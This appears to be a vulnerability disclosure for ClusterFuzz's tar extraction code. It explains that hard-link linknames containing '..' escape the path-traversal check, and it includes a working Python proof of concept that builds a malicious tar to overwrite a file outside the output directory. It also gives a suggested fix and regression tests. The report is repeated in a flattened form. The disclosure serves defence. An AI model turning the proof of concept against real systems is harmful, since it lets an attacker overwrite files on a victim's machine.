Summary
TarArchiveReader.extract (src/clusterfuzz/_internal/system/archive.py) validates archive member names against path traversal (_is_attempting_path_traversal), but never validates the linkname of hard link members. A tar containing a hard link whose relative linkname includes .. causes CPython's tarfile to os.link() an existing file outside the extraction directory into it; a subsequent write through that alias (e.g. a regular member that resolves to the same path) overwrites the outside file with attacker-controlled content.
The existing realpath containment check cannot detect this: os.path.realpath does not resolve hard links, so the aliased path still appears to be inside the output directory.
Reproduction (stdlib only)
import io, os, tarfile
os.makedirs("/tmp/poc/out", exist_ok=True)
open("/tmp/poc/victim-file", "w").write("ORIGINAL")
with tarfile.open("/tmp/poc/evil.tar", "w") as tf:
link = tarfile.TarInfo("innocent.txt") # clean member name
link.type = tarfile.LNKTYPE
link.linkname = "../victim-file" # relative .. escapes the output dir
tf.addfile(link)
data = b"PWNED"
payload = tarfile.TarInfo("innocent.txt") # same clean name
payload.size = len(data)
tf.addfile(payload, io.BytesIO(data))
with tarfile.open("/tmp/poc/evil.tar") as tf:
for m in tf.getmembers():
# _is_attempting_path_traversal(archive, out, m.name) -> False for both
tf.extract(m, "/tmp/poc/out") # no filter=, as in archive.py
print(open("/tmp/poc/victim-file").read()) # -> PWNED (outside the output dir)
Notes:
- An absolute linkname does not work (CPython strips the leading
/ and joins inside the output dir); the escape requires a relative linkname with .. of the correct depth.
- The member names involved are clean, so the name-based guard passes; only the linkname escapes.
- Reachable through the untrusted archive upload/unpack flow (
TarArchiveReader.extract at archive.py, looped by extract_all from the unpack task).
Suggested fix
Apply the same containment check to the resolved hard-link target that tarfile itself will use (mirroring its absolute-target re-rooting). Implemented in the attached PR, along with regression tests:
test_tar_hardlink_traversal — escaping relative linkname is rejected, victim file untouched;
test_tar_hardlink_within_directory — legitimate in-archive hard links still extract (archive built with real on-disk hard links so the linkname is in canonical member-rooted form).
An alternative is passing filter="data" to tarfile.extract on Python ≥ 3.12; the guard approach in the PR is version-independent and mirrors the existing check style.
This issue was reported to the Google Bug Hunters team, who classified it as valid but below their security-tracking threshold and explicitly permitted public disclosure.
Summary
TarArchiveReader.extract(src/clusterfuzz/_internal/system/archive.py) validates archive member names against path traversal (_is_attempting_path_traversal), but never validates the linkname of hard link members. A tar containing a hard link whose relativelinknameincludes..causes CPython'starfiletoos.link()an existing file outside the extraction directory into it; a subsequent write through that alias (e.g. a regular member that resolves to the same path) overwrites the outside file with attacker-controlled content.The existing realpath containment check cannot detect this:
os.path.realpathdoes not resolve hard links, so the aliased path still appears to be inside the output directory.Reproduction (stdlib only)
Notes:
/and joins inside the output dir); the escape requires a relative linkname with..of the correct depth.TarArchiveReader.extractatarchive.py, looped byextract_allfrom the unpack task).Suggested fix
Apply the same containment check to the resolved hard-link target that
tarfileitself will use (mirroring its absolute-target re-rooting). Implemented in the attached PR, along with regression tests:test_tar_hardlink_traversal— escaping relative linkname is rejected, victim file untouched;test_tar_hardlink_within_directory— legitimate in-archive hard links still extract (archive built with real on-disk hard links so the linkname is in canonical member-rooted form).An alternative is passing
filter="data"totarfile.extracton Python ≥ 3.12; the guard approach in the PR is version-independent and mirrors the existing check style.This issue was reported to the Google Bug Hunters team, who classified it as valid but below their security-tracking threshold and explicitly permitted public disclosure.